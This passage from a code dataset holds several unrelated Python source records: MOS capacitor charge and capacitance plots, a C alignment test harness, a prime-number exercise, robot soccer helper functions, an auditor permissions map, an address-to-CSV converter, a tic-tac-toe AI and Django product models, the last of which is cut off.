-np.sign(psis) * np.sqrt(2 * q * e0 * es * fh(psis))\n Qih = lambda psis: 2 * q * e0 * es \\\n * phit * Nv * np.exp((Ev - Ef) / phit) * (np.exp(-psis / phit) - 1) \\\n / (Qs(psis) + Qbh(psis) + I(psis))\n\n# again, reuse the pre-existing psis values\nplt.figure(1, figsize=(6,4))\nplt.semilogy(Vgb[::4], np.abs(Qi)[::4], '.', label='integrated')\nplt.semilogy(Vgb, np.abs(Qih(psis)), label='CSA')\nplt.legend(loc='best')\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('$Q_i$ (C / cm$^2$)', fontsize=22)\n\nplt.figure(2, figsize=(6,4))\nplt.plot(Vgb[::4], Qb[::4], '.', label='integrated')\nplt.plot(Vgb, Qbh(psis), label='CSA')\nplt.legend(loc='best')\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('$Q_b$ (C / cm$^2$)', fontsize=22)\n\n\n# compare CSA to exact (integrated) result\nplt.figure(1, figsize=(6,4))\nplt.plot(Vgb, 100 * (Qih(psis) - Qi) / Qi)\nplt.grid(True)\nplt.title('inversion charge')\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('percent error (%)', fontsize=22)\n\nplt.figure(2, figsize=(6,4))\nplt.plot(Vgb, 100 * (Qbh(psis) - Qb) / Qb)\nplt.grid(True)\nplt.title('body charge')\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('percent error (%)', fontsize=22)\n\n\n# create a list of indicies above weak inversion\nif device_type == 'nMOS':\n selector = np.where(psis >= phif)[0]\nelse:\n selector = np.where(psis <= phif)[0]\n# the first index of 'selector' is where psi_WI is\nVgb_WI = Vgb[selector[0]]\npsi_SI = 2 * phif\nVgb_SI = Vfb + psi_SI - Qs(psi_SI) / Coxp\n\nplt.figure(1, figsize=(6,4))\nplt.plot(Vgb[selector], 100 * ((Qih(psis) - Qi) / Qi)[selector])\nax = plt.axis()\n# plot the weak inversion point\nplt.plot([Vgb_WI, Vgb_WI], [ax[2], ax[3]], 'r--')\nplt.text(Vgb_WI, ax[2] + (ax[3] - ax[2]) * 0.8, '$V_{gb, WI}$', fontsize=18)\n# plot the strong inversion point\nplt.plot([Vgb_SI, Vgb_SI], [ax[2], ax[3]], 'k--')\nplt.text(Vgb_SI, ax[2] + (ax[3] - ax[2]) * 0.5, '$V_{gb, SI}$', fontsize=18)\nplt.axis(ax)\nplt.grid(True)\nplt.title('inversion charge')\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('percent error (%)', fontsize=22)\n# -----------------------\n# capacitance\n# -----------------------\n# the semiconductor capacitance at flatband\nCs0 = np.sqrt(q * es * e0) * np.sqrt(\n Nv / phit * np.exp((Ev - Ef) / phit)\n + Nc / phit * np.exp((-Ec + Ef) / phit)\n)\n# the first derivative of f w.r.t. psis\ndf = lambda psis: Na - Nd \\\n - Nv * np.exp((Ev - Ef) / phit) * np.exp(-psis / phit) \\\n + Nc * np.exp((-Ec + Ef) / phit) * np.exp(psis / phit)\n# use the indicator function to make Cs transition gracefully to Cs0\n# - the Cs0 term gets used when psis=0 without an 'if' statement\nCs = lambda psis: np.sign(psis) * df(psis) * np.sqrt(\n q * es * e0 / 2 / (f(psis) + I(psis))\n) + I(psis) * Cs0\n\n# compute the gate-body capacitance and the flatband value\nCgb = Cs(psis) * Coxp / (Cs(psis) + Coxp)\nCgb0 = Cs(0) * Coxp / (Cs(0) + Coxp)\n\nplt.figure(1, figsize=(6,4))\nplt.plot(Vgb, Cgb / Coxp)\nax = plt.axis()\nax = (ax[0], ax[1], 0, ax[3])\nplt.plot([Vfb, Vfb], ax[2:], 'k--')\nplt.text(0, 0.1, '$V_{fb}$', fontsize=18)\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('$C_{gb}\\' / C_{ox}\\'$ (a.u.)', fontsize=22)\n\n\n# calculate the surface field via its relationship with semiconductor charge\n# the indicator function is used in Ci to avoid 0/0 conditions\n# Cb0 the flatband value of Cb\n# - the indicator function is used to switch over to Cb0\nEs = Qs(psis) / (-es * e0)\nif device_type == 'nMOS':\n Cb0 = np.sqrt(q * es * e0) * np.sqrt(\n Nv / phit * np.exp((Ev - Ef) / phit)\n )\n Ci0 = np.sqrt(q * es * e0) * np.sqrt(\n Nc / phit * np.exp((-Ec + Ef) / phit)\n )\n Ci = q * (n(psis) - n(0)) / (Es + I(psis)) + I(psis) * Ci0\n Cb = -q * (p(psis) - p(0)) / (Es + I(psis)) + I(psis) * Ci0\nelse:\n Ci0 = np.sqrt(q * es * e0) * np.sqrt(\n Nv / phit * np.exp((Ev - Ef) / phit)\n )\n Cb0 = np.sqrt(q * es * e0) * np.sqrt(\n Nc / phit * np.exp((-Ec + Ef) / phit)\n )\n Ci = -q * (p(psis) - p(0)) / (Es + I(psis)) + I(psis) * Ci0\n Cb = q * (n(psis) - n(0)) / (Es + I(psis)) + I(psis) * Ci0\n\n\nplt.figure(1, figsize=(6,4))\nplt.plot(Vgb[::4], Cs(psis[::4]), '.', label='C_s\\'')\nplt.plot(Vgb, Ci, label='C_i\\'')\nplt.plot(Vgb, Cb, label='C_b\\'')\nplt.legend(loc='best')\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('(F / cm$^2$)', fontsize=22)\n\n\n","sub_path":"content/scripts/2015-02-25-MOSCAP-derivations/MOS_derivations_to_python3.py","file_name":"MOS_derivations_to_python3.py","file_ext":"py","file_size_in_byte":14451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"447167567","text":"import ctypes\nfrom datetime import datetime\nimport glob\nimport os\n\nimport numpy as np\n\n\ndef parse_aln_matrix(path):\n with open(path) as path_fh:\n headers = None\n while headers is None:\n header_line = path_fh.readline().strip()\n if header_line[0] == '#':\n continue\n headers = [ord(x) for x in header_line.split(' ') if x]\n mat_size = max(headers) + 1\n\n a = np.zeros((mat_size, mat_size), dtype=np.int32)\n\n for ai, line in enumerate(path_fh):\n weights = [int(x) for x in line[:-1].split(' ')[1:] if x]\n for ohidx, weight in zip(headers, weights):\n a[headers[ai], ohidx] = weight\n\n return a\n\n\n#get all generated test files\ntest_files = glob.glob(\"../generate.py.test*.test\")\n\nif os.path.exists('output.txt'):\n os.remove('output.txt')\n\nalnMatrix = parse_aln_matrix('EDNAFULL')\nfun = ctypes.CDLL('libfun.so')\nfun.setup.argtypes = [np.ctypeslib.ndpointer(dtype=np.int32)]\nfun.setup(alnMatrix)\n\nfun.global_align.argtypes = [\n ctypes.c_char_p,\n ctypes.c_char_p,\n np.ctypeslib.ndpointer(dtype=np.int32),\n]\nfun.global_align.restype = ctypes.c_char_p\n\nfor test_file in test_files:\n print('Running tests in ' + test_file)\n py2_file = test_file+\".python2_results.txt\"\n test_count = 0\n s1 = datetime.now()\n #open the test file with sequences and the python results file\n with open(test_file,'r') as fin, open(py2_file,'r') as fpy2:\n #read the reference sequence from the test file\n ref_seq = fin.readline().strip().split(\"\\t\")[1].encode('utf-8')\n gap_incentive = np.zeros(len(ref_seq)+1,dtype=np.int32)\n\n #test all the cases in test (one sequence per line)\n line = fin.readline().strip()\n while line:\n test_count += 1\n #compute C result\n fun.global_align(\n line.encode('utf-8'),\n ref_seq,\n gap_incentive,\n )\n\n line = fin.readline().strip()\n # close the C output file\n fun.done()\n s2 = datetime.now()\n\n with open('output.txt', 'r') as fc:\n line = fc.readline().strip()\n while line:\n #get C results\n result_seq1, result_seq2, score = line.split('\\t')\n #get python2 results\n result_seq1_py2,result_seq2_py2,score_py2 = fpy2.readline().split(\"\\t\")\n\n if result_seq1 != result_seq1_py2:\n print('C result_seq1:%s\\npython3 result_seq2:%s\\npython3 score:%s\\npython2 result_seq1:%s\\npython2 result_seq2:%s\\npython2 score:%s'%(result_seq1,result_seq2,str(score),result_seq1_py2,result_seq2_py2,score_py2))\n raise Exception('Error - Alignment mismatch for %s\\nGot %s\\nExpecting %s'%(line,result_seq1,result_seq1_py2))\n\n if result_seq2 != result_seq2_py2:\n print('C result_seq1:%s\\npython3 result_seq2:%s\\npython3 score:%s\\npython2 result_seq1:%s\\npython2 result_seq2:%s\\npython2 score:%s'%(result_seq1,result_seq2,str(score),result_seq1_py2,result_seq2_py2,score_py2))\n raise Exception('Error - Alignment mismatch for %s\\nGot %s\\nExpecting %s'%(line,result_seq2,result_seq2_py2))\n\n # round_score = str(round(float(score),8))\n # round_score_py2 = str(round(float(score_py2),8))\n # if round_score != round_score_py2:\n # print('C result_seq1:%s\\npython3 result_seq2:%s\\npython3 score:%s\\npython2 result_seq1:%s\\npython2 result_seq2:%s\\npython2 score:%s'%(result_seq1,result_seq2,str(score),result_seq1_py2,result_seq2_py2,score_py2))\n # raise Exception('Error - Score mismatch for %s\\nGot %s\\nExpecting %s'%(line,round_score,round_score_py2))\n line = fc.readline().strip()\n tdelta = s2-s1\n print('Performed ' + str(test_count) + ' tests in ' + str(tdelta) + ' seconds')\n\nprint('Testing passed')\n","sub_path":"c/testAgainstPython2Tests.py","file_name":"testAgainstPython2Tests.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"273965094","text":"#Prime number\n\n#A prime number is a whole number greater than 1 whose only factors are 1 and itself.\n\n#Write a program using a while statement, that given an int as the input, prints out \"Prime\" if the int is a prime number, otherwise it prints \"Not prime\".\n\n\n\n\nn = int(input(\"Input a natural number: \")) # Do not change this line\n\ncount = 2\nprime=True\nwhile n>count:\n if n%count==0:\n prime=False\n count= count+1\n\nif prime:\n print(\"Prime\")\nelse:\n print(\"Not prime\")\n\n","sub_path":"Tímaverk 3/Tímaverk3-5.py","file_name":"Tímaverk3-5.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"118881338","text":"import math\n\n#reset_reason\nNONE = 0\nGAME_START = 1\nSCORE_MYTEAM = 2\nSCORE_OPPONENT = 3\nGAME_END = 4\nDEADLOCK = 5\nGOALKICK = 6\nCORNERKICK = 7\nPENALTYKICK = 8\nHALFTIME = 9\nEPISODE_END = 10\n\n#game_state\nSTATE_DEFAULT = 0\nSTATE_BACKPASS = 1\nSTATE_GOALKICK = 2\nSTATE_CORNERKICK = 3\nSTATE_PENALTYKICK = 4\n\n#coordinates\nMY_TEAM = 0\nOP_TEAM = 1\nBALL = 2\nX = 0\nY = 1\nZ = 2\nTH = 3\nACTIVE = 4\nTOUCH = 5\nBALL_POSSESSION = 6\n\ndef degree2radian(deg):\n return deg * math.pi / 180\n\ndef radian2degree(rad):\n return rad * 180 / math.pi\n\ndef wrap_to_pi(theta):\n while (theta > math.pi):\n theta -= 2 * math.pi\n while (theta < -math.pi):\n theta += 2 * math.pi\n return theta\n\ndef distance(x1, x2, y1, y2):\n return math.sqrt(math.pow(x1 - x2, 2) + math.pow(y1 - y2, 2))\n\ndef predict_ball(cur_ball, previous_ball, prediction_step):\n dx = cur_ball[X] - previous_ball[X]\n dy = cur_ball[Y] - previous_ball[Y]\n predicted_ball = [cur_ball[X] + prediction_step*dx, cur_ball[Y] + prediction_step*dy]\n return predicted_ball\n\ndef find_closest_robot(cur_ball, cur_posture, robot_list):\n min_idx = 0\n min_dist = 9999.99\n\n all_dist = []\n\n for i in robot_list:\n measured_dist = distance(cur_ball[X], cur_posture[i][X],\n cur_ball[Y], cur_posture[i][Y])\n all_dist.append(measured_dist)\n if (measured_dist < min_dist):\n min_dist = measured_dist\n min_idx = i\n\n idx = min_idx\n return idx\n\ndef shoot_chance(self, id, cur_posture, ball):\n d2b = distance(ball[X], cur_posture[id][X],\n ball[Y],cur_posture[id][Y])\n dx = ball[X] - cur_posture[id][X]\n dy = ball[Y] - cur_posture[id][Y]\n\n gy = self.goal_area[Y]\n\n if (dx < 0) or (d2b > self.field[Y]/2):\n return False\n\n y = (self.field[X]/2 - ball[X])*dy/dx + cur_posture[id][Y]\n\n if (abs(y) < gy/2):\n return True\n elif (ball[X] < 2.5) and (self.field[Y] - gy/2 < abs(y) < self.field[Y] + gy/2):\n return True\n else:\n return False\n\ndef set_wheel_velocity(max_linear_velocity, left_wheel, right_wheel):\n ratio_l = 1\n ratio_r = 1\n\n if (left_wheel > max_linear_velocity or right_wheel > max_linear_velocity):\n diff = max(left_wheel, right_wheel) - max_linear_velocity\n left_wheel -= diff\n right_wheel -= diff\n if (left_wheel < -max_linear_velocity or right_wheel < -max_linear_velocity):\n diff = min(left_wheel, right_wheel) + max_linear_velocity\n left_wheel -= diff\n right_wheel -= diff\n\n return left_wheel, right_wheel\n \ndef in_penalty_area(self, obj, team):\n # team 0 : own, 1 : opp\n if (abs(obj[Y]) > self.penalty_area[Y] / 2):\n return False\n\n if (team == 0):\n return (obj[X] < -self.field[X] / 2 + self.penalty_area[X])\n else:\n return (obj[X] > self.field[X] / 2 - self.penalty_area[X])\n\ndef ball_is_own_goal(predicted_ball, field, goal_area):\n return (-field[X]/2 <= predicted_ball[X] <= -field[X]/2 + goal_area[X] and\n -goal_area[Y]/2 <= predicted_ball[Y] <= goal_area[Y]/2)\n\ndef ball_is_own_penalty(predicted_ball, field, penalty_area):\n return (-field[X]/2 <= predicted_ball[X] <= -field[X]/2 + penalty_area[X] and\n -penalty_area[Y]/2 <= predicted_ball[Y] <= penalty_area[Y]/2)\n\ndef ball_is_own_field(predicted_ball):\n return (predicted_ball[X] <= 0)\n\ndef ball_is_opp_goal(predicted_ball, field, goal_area):\n return (field[X]/2 - goal_area[X] <= predicted_ball[X] <= field[X]/2 and\n -goal_area[Y]/2 <= predicted_ball[Y] <= goal_area[Y]/2)\n\ndef ball_is_opp_penalty(predicted_ball, field, penalty_area):\n return (field[X]/2 - penalty_area[X] <= predicted_ball[X] <= field[X]/2 and\n -penalty_area[Y]/2 <= predicted_ball[Y] <= penalty_area[Y]/2)\n\ndef ball_is_opp_field(predicted_ball):\n return (predicted_ball[X] > 0)\n\n\ndef direction_angle(self, id, x, y, cur_posture):\n dx = x - cur_posture[id][X]\n dy = y - cur_posture[id][Y]\n\n return ((math.pi / 2) if (dx == 0 and dy == 0) else math.atan2(dy, dx))\n\ndef ball_coming_toward_robot(id, cur_posture, prev_ball, cur_ball):\n x_dir = abs(cur_posture[id][X] - prev_ball[X]) \\\n > abs(cur_posture[id][X] - cur_ball[X])\n y_dir = abs(cur_posture[id][Y] - prev_ball[Y]) \\\n > abs(cur_posture[id][Y] - cur_ball[Y])\n\n # ball is coming closer\n if (x_dir and y_dir):\n return True\n else:\n return False\n\ndef go_to(self, id, x, y, cur_posture, cur_ball):\n scale, mult_lin, mult_ang, max_velocity = 1.4, 3.5, 0.4, False\n damping = 0.35\n ka = 0\n sign = 1\n # calculate how far the target position is from the robot\n dx = x - cur_posture[id][X]\n dy = y - cur_posture[id][Y]\n d_e = math.sqrt(math.pow(dx, 2) + math.pow(dy, 2))\n # calculate how much the direction is off\n desired_th = (math.pi / 2) if (dx == 0 and dy == 0) else math.atan2(dy, dx)\n d_th = desired_th - cur_posture[id][TH]\n while (d_th > math.pi):\n d_th -= 2 * math.pi\n while (d_th < -math.pi):\n d_th += 2 * math.pi\n\n # based on how far the target position is, set a parameter that\n # decides how much importance should be put into changing directions\n # farther the target is, less need to change directions fastly\n if (d_e > 1):\n ka = 17 / 90\n elif (d_e > 0.5):\n ka = 19 / 90\n elif (d_e > 0.3):\n ka = 21 / 90\n elif (d_e > 0.2):\n ka = 23 / 90\n else:\n ka = 25 / 90\n\n # if the target position is at rear of the robot, drive backward instead\n if (d_th > degree2radian(95)):\n d_th -= math.pi\n sign = -1\n elif (d_th < degree2radian(-95)):\n d_th += math.pi\n sign = -1\n\n # if the direction is off by more than 85 degrees,\n # make a turn first instead of start moving toward the target\n if (abs(d_th) > degree2radian(85)):\n left_wheel, right_wheel = set_wheel_velocity(self.max_linear_velocity, -mult_ang * d_th, mult_ang * d_th)\n # otherwise\n else:\n # scale the angular velocity further down if the direction is off by less than 40 degrees\n if (d_e < 5 and abs(d_th) < degree2radian(40)):\n ka = 0.1\n ka *= 4\n # set the wheel velocity\n # 'sign' determines the direction [forward, backward]\n # 'scale' scales the overall velocity at which the robot is driving\n # 'mult_lin' scales the linear velocity at which the robot is driving\n # larger distance 'd_e' scales the base linear velocity higher\n # 'damping' slows the linear velocity down\n # 'mult_ang' and 'ka' scales the angular velocity at which the robot is driving\n # larger angular difference 'd_th' scales the base angular velocity higher\n # if 'max_velocity' is true, the overall velocity is scaled to the point\n # where at least one wheel is operating at maximum velocity\n left_wheel, right_wheel = set_wheel_velocity(self.max_linear_velocity,\n sign * scale * (mult_lin * (\n 1 / (1 + math.exp(-3 * d_e)) - damping) - mult_ang * ka * d_th),\n sign * scale * (mult_lin * (\n 1 / (1 + math.exp(-3 * d_e)) - damping) + mult_ang * ka * d_th))\n return left_wheel, right_wheel\n\ndef turn_to(self, id, x, y, cur_posture):\n ka = 0.5\n tot = math.pi/360\n\n dx = x - cur_posture[id][X]\n dy = y - cur_posture[id][Y]\n desired_th = math.atan2(dy, dx)\n d_th = wrap_to_pi(desired_th - cur_posture[id][TH])\n\n if (d_th > degree2radian(90)):\n d_th -= math.pi\n elif (d_th < degree2radian(-90)):\n d_th += math.pi\n \n if (abs(d_th) < tot):\n ka = 0\n \n left_wheel, right_wheel = set_wheel_velocity(self.max_linear_velocity,\n -ka*d_th,\n ka*d_th)\n\n return left_wheel, right_wheel\n\ndef turn_angle(self, id, angle, cur_posture):\n ka = 0.5\n tot = math.pi/360\n\n desired_th = angle\n d_th = wrap_to_pi(desired_th - cur_posture[id][TH])\n\n if (d_th > degree2radian(90)):\n d_th -= math.pi\n elif (d_th < degree2radian(-90)):\n d_th += math.pi\n \n if (abs(d_th) < tot):\n ka = 0\n \n left_wheel, right_wheel = set_wheel_velocity(self.max_linear_velocity,\n -ka*d_th, ka*d_th)\n \n return left_wheel, right_wheel","sub_path":"examples/player_rulebasedA_py/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":8580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"111430603","text":"scope = \"Audit\"\ndescription = \"\"\"\n The permissions required by an auditor to access relevant resources for the\n program being audited.\n \"\"\"\npermissions = {\n \"read\": [\n \"Audit\",\n \"Request\",\n \"ControlAssessment\",\n \"Issue\",\n {\n \"terms\": {\n \"property_name\": \"status\",\n \"value\": [\n \"Submitted\",\n \"Accepted\",\n \"Rejected\"\n ]\n },\n \"type\": \"DocumentationResponse\",\n \"condition\": \"in\"\n },\n {\n \"terms\": {\n \"property_name\": \"status\",\n \"value\": [\n \"Submitted\",\n \"Accepted\",\n \"Rejected\"\n ]\n },\n \"type\": \"InterviewResponse\",\n \"condition\": \"in\"\n },\n {\n \"terms\": {\n \"property_name\": \"status\",\n \"value\": [\n \"Submitted\",\n \"Accepted\",\n \"Rejected\"\n ]\n },\n \"type\": \"PopulationSampleResponse\",\n \"condition\": \"in\"\n },\n \"Meeting\",\n \"ObjectDocument\",\n \"ObjectPerson\",\n \"Relationship\",\n \"Document\",\n \"Meeting\",\n \"UserRole\",\n \"Context\",\n ],\n \"create\": [\n \"Request\",\n \"ControlAssessment\",\n \"Issue\",\n ],\n \"view_object_page\": [\n \"__GGRC_ALL__\"\n ],\n \"update\": [\n \"Request\",\n \"ControlAssessment\",\n \"Issue\",\n \"DocumentationResponse\",\n \"InterviewResponse\",\n \"PopulationSampleResponse\"\n ],\n \"delete\": [\n \"Request\",\n ],\n}\n","sub_path":"src/ggrc_basic_permissions/roles/Auditor.py","file_name":"Auditor.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"428441169","text":"'''\ncustomer spec: extract data from .txt source file and convert to .csv file\n'''\n\n#main prog as func\ndef assignment9():\n #access live files\n with open(r'randomaddresses.txt','r') as txt:\n with open(r'excel_addresses.csv','w') as csv:\n #read first line in source file to prime loop\n line=txt.readline().rstrip()\n #loop until no more lines in source file\n while line!='':\n #if line contains zip, parse line appropriately\n if line[-5:].isdigit():\n #seperate city from state & zip; keep spaces in city name\n line=line.split(',')\n #parse state & zip; append to line & remove redundancy\n line=line+line[1].split()\n del(line[1])\n #iterate through parsed line\n for item in line:\n #write to csv; advance cursor when appropriate\n csv.write(item+',' if not item.isdigit() else item+'\\n')\n #write street address line to csv\n else: csv.write(line+',')\n #acquire next line from source to continue loop\n line=txt.readline().rstrip()\n#run main prog\nassignment9()\n","sub_path":"Completed Assignments/Wurster_A9.py","file_name":"Wurster_A9.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"328360245","text":"#!/usr/bin/python\nimport random\nfrom board import Board\n\nclass Algo(object):\n\tdef __init__(self, typ, _user):\n\t\tself.res = [0, 0]\n\t\tself.current_algo = typ # change string to use different search algorithm\n\t\tself.user = _user\n\t\tself.buildWinArray()\n\n\tdef run(self, board):\n\t\tself.implRun(board)\n\n\tdef buildWinArray(self):\n\t\tself.win_single = []\n\t\tself.win_3d = []\n\t\tf = open(\"win_rows.txt\")\n\t\tlines = f.readlines()\n\t\tarr = []\n\t\tfirst = True\n\t\tfor line in lines:\n\t\t\tline = line.rstrip()\n\t\t\tif line == \"\":\n\t\t\t\tif first:\n\t\t\t\t\tself.win_single = arr\n\t\t\t\tarr = []\n\t\t\t\tfirst = False\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tthings = line.split(' ')\n\t\t\t\twin_con = []\n\t\t\t\tif first:\n\t\t\t\t\tfor thing in things:\n\t\t\t\t\t\twin_con.append(int(thing))\n\t\t\t\telse:\n\t\t\t\t\tfor thing in things:\n\t\t\t\t\t\telms = thing.split(',')\n\t\t\t\t\t\tt = int(elms[0]), int(elms[1])\n\t\t\t\t\t\twin_con.append(t)\n\t\t\t\tarr.append(win_con)\n\t\tself.win_3d = arr\n\nclass RandAI(Algo):\n\tdef random_pick(self):\n\t\tself.res[0] = random.randint(0, 2)\n\t\tself.res[1] = random.randint(0, 8)\n\n\tdef implRun(self, board):\n\t\tself.random_pick()\n\t\n\n\n\n\t#def run(self, curr_board):\n\t#\tif self.current_algo == \"RP\":\n\t#\t\tself.random_pick()\n\t#\telif self.current_algo == \"IM\":\n\t#\t\tself.map_pick(curr_board)\n\n\n# SLOP\ndef buildWinArray():\n\tglobal win_single\n\tglobal win_3d\n\tf = open(\"win_rows.txt\")\n\tlines = f.readlines()\n\tarr = []\n\tfirst = True\n\tfor line in lines:\n\t\tline = line.rstrip()\n\t\tif line == \"\":\n\t\t\tif first:\n\t\t\t\twin_single = arr\n\t\t\tarr = []\n\t\t\tfirst = False\n\t\t\tcontinue\n\t\telse:\n\t\t\tthings = line.split(' ')\n\t\t\twin_con = []\n\t\t\tif first:\n\t\t\t\tfor thing in things:\n\t\t\t\t\twin_con.append(int(thing))\n\t\t\telse:\n\t\t\t\tfor thing in things:\n\t\t\t\t\telms = thing.split(',')\n\t\t\t\t\tt = int(elms[0]), int(elms[1])\n\t\t\t\t\twin_con.append(t)\n\t\t\tarr.append(win_con)\n\twin_3d = arr\n","sub_path":"ais.py","file_name":"ais.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"494518115","text":"from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.safestring import mark_safe\nfrom utils.helper.model.abstract_model import TimeStampedModel, ActiveModel, OrderingModel, DispalyNameModel, ViewModel\nfrom .abstract_model import SoldModel, InpectionModel\nfrom preorder.models import PreorderCampaign\nfrom django.db.models import Q\nfrom django.db.models.constraints import UniqueConstraint\n\n\nclass ProductCategory(TimeStampedModel, DispalyNameModel, ActiveModel, OrderingModel):\n\n class Meta:\n ordering = ['ordering']\n verbose_name = u'제품 상위 카테고리 / Product Category'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return self.display_name\n\n\nclass ProductSubCategory(TimeStampedModel, DispalyNameModel, ActiveModel, OrderingModel):\n class Meta:\n ordering = ['category', 'ordering']\n verbose_name = u'제품 하위 카테고리 / Product SubCategory'\n verbose_name_plural = verbose_name\n category = models.ForeignKey(\n ProductCategory, on_delete=models.SET_NULL, null=True, blank=True)\n\n def __str__(self):\n return self.display_name\n\n\nclass ProductSize(TimeStampedModel, DispalyNameModel, OrderingModel):\n class Meta:\n ordering = ['ordering', 'display_name']\n verbose_name = u'제품 사이즈 / Product Size'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return self.display_name\n\n\nclass ProductPattern(TimeStampedModel, DispalyNameModel, OrderingModel):\n class Meta:\n ordering = ['ordering', 'display_name']\n verbose_name = u'제품 패턴 / Product Pattern'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return self.display_name\n\n\nclass ProductColor(TimeStampedModel, DispalyNameModel, OrderingModel):\n class Meta:\n ordering = ['ordering', 'display_name']\n verbose_name = u'제품 색상 / Product Color'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return self.display_name\n\n\nclass ProductStyle(TimeStampedModel, DispalyNameModel):\n class Meta:\n verbose_name = u'제품 스타일 / Product Style'\n verbose_name_plural = verbose_name\n\n def __str__(self):\n return self.name\n\n\nclass ProductExtraOption(TimeStampedModel, DispalyNameModel):\n class Meta:\n verbose_name = u'제품 기타 옵션 / Product Extra Option'\n verbose_name_plural = verbose_name\n name = models.CharField(max_length=255)\n\n def __str__(self):\n return self.name\n\n\nclass SourceExtraOption(TimeStampedModel):\n class Meta:\n verbose_name = u'소스 - 기타 옵션 / Product Source Extra Option'\n verbose_name_plural = verbose_name\n variation_group = models.CharField(max_length=255, blank=True)\n name = models.CharField(max_length=255)\n source_thumb = models.CharField(max_length=1024, null=True)\n source = models.CharField(max_length=1024, null=True)\n\n def __str__(self):\n return self.name\n\n\nPOST_IMAGE_TYPE = (('P', _('Picture')), ('V', _('Video')))\n\n\nclass ProductImage(TimeStampedModel):\n post_image_type = models.CharField(\n max_length=25, choices=POST_IMAGE_TYPE, null=True, default='P')\n source = models.CharField(_('URL Source'), max_length=1024, null=True)\n source_thumb = models.CharField(\n _('Thumb Small Link'), max_length=1024, null=True)\n product = models.ForeignKey(\n 'Product', on_delete=models.CASCADE, related_name='product_image_set')\n\n def __str__(self):\n return mark_safe(''.format(\n url=self.source_thumb\n ))\n\n\nclass ShopeeCategory(TimeStampedModel):\n display_name = models.CharField(max_length=255)\n catid = models.IntegerField()\n no_sub = models.BooleanField(default=False)\n is_default_subcat = models.BooleanField(default=False)\n category = models.ForeignKey(\n ProductCategory, on_delete=models.SET_NULL,\n null=True, blank=True)\n sub_category = models.ForeignKey(\n ProductSubCategory, on_delete=models.SET_NULL,\n null=True, blank=True)\n is_valid = models.BooleanField(default=True)\n\n def __str__(self):\n return self.display_name\n\n\nclass ShopeeColor(TimeStampedModel):\n display_name = models.CharField(max_length=255)\n color = models.ForeignKey(\n ProductColor, on_delete=models.SET_NULL,\n null=True, blank=True)\n is_valid = models.BooleanField(default=True)\n\n def __str__(self):\n return self.display_name\n\n\nclass ShopeeSize(TimeStampedModel):\n display_name = models.CharField(max_length=255)\n size = models.ForeignKey(\n ProductSize, on_delete=models.SET_NULL,\n null=True, blank=True)\n is_valid = models.BooleanField(default=True)\n\n def __str__(self):\n return self.display_name\n\n\nclass ShopeeRating(TimeStampedModel):\n # review-rate\n shopee_view_count = models.IntegerField(default=0)\n shopee_liked_count = models.IntegerField(default=0)\n shopee_sold_count = models.IntegerField(default=0)\n shopee_review_count = models.IntegerField(default=0)\n shopee_rating_star = models.FloatField(default=0)\n shopee_1_star_count = models.IntegerField(default=0)\n shopee_2_star_count = models.IntegerField(default=0)\n shopee_3_star_count = models.IntegerField(default=0)\n shopee_4_star_count = models.IntegerField(default=0)\n shopee_5_star_count = models.IntegerField(default=0)\n\n product = models.OneToOneField(\n 'Product', on_delete=models.CASCADE, null=True, blank=True, related_name='shopee_rating')\n\n def __str__(self):\n return str(self.product.pk) + ' ' + self.product.name\n\n\nclass ProductBackEndRate(TimeStampedModel):\n product_backend_rating = models.DecimalField(\n max_digits=4, decimal_places=1, default=0)\n review_count = models.IntegerField(null=True, blank=True)\n review_rate = models.FloatField(null=True, blank=True)\n shopee_review_count = models.IntegerField(null=True, blank=True)\n shopee_review_rate = models.FloatField(null=True, blank=True)\n shopee_view_count = models.IntegerField(null=True, blank=True)\n shopee_liked_count = models.IntegerField(null=True, blank=True)\n shopee_sold_count = models.IntegerField(null=True, blank=True)\n post_like = models.IntegerField(null=True, blank=True)\n post_comment = models.IntegerField(null=True, blank=True)\n app_click_count = models.IntegerField(null=True, blank=True)\n app_outlink_count = models.IntegerField(null=True, blank=True)\n user_favorite_count = models.IntegerField(null=True, blank=True)\n product_infomation_quality = models.IntegerField(null=True, blank=True)\n product = models.ForeignKey(\n 'Product', on_delete=models.CASCADE, null=True, blank=True, related_name='product_backend_rating_set')\n\n def __str__(self):\n return str(self.product_backend_rating) + ' ' + self.product.name\n\n\nCURRENCY_TYPE = (('VND', _('VND')), )\nPRODUCT_SOURCE_TYPE = (('SHOPEE', _('Shopee')),\n ('INSTAGRAM', _('Instagram')),\n ('HOMEPAGE', _('Homepage')),\n ('DOSIIN', _('Dosi-in')))\n\nPRODUCT_IMAGE_TYPE = (('SP', _('Single Picture')),\n ('MP', _('Multiple Picture')), ('V', 